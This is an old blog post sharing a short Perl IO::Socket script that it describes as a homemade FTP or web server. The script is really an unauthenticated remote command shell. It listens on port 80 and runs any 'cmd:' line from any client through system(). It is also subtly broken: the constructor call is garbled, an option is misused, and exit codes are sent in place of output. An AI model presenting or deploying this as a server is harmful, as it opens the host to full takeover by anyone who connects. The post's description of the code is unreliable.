Hey guys.
Ive just done some work with the IO::Socket in perl.
and i found out how to make ur own FTP or WebServer Programm.
Heres the code:
#!/usr/bin/perl -w
use IO::Socket;
my $server = new IO::Socket::INET->new(Listen => 10,
LocalPort => 80,
Reuse => 21) or die $!;
my $conn;
# Lese- und Such-Schleife
while ($client = $server->accept()) {
$client->autoflush(1);
print $client "Welcome dude.\r\n";
while (1) {
print $client "" ;
chomp( $cmd = <$client> ) ;
($what,$it)=split ":",$cmd;
if ($what eq "cmd") {
print $client system($it);
}
}
close $client;
}
Saturday, 6 January 2007
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment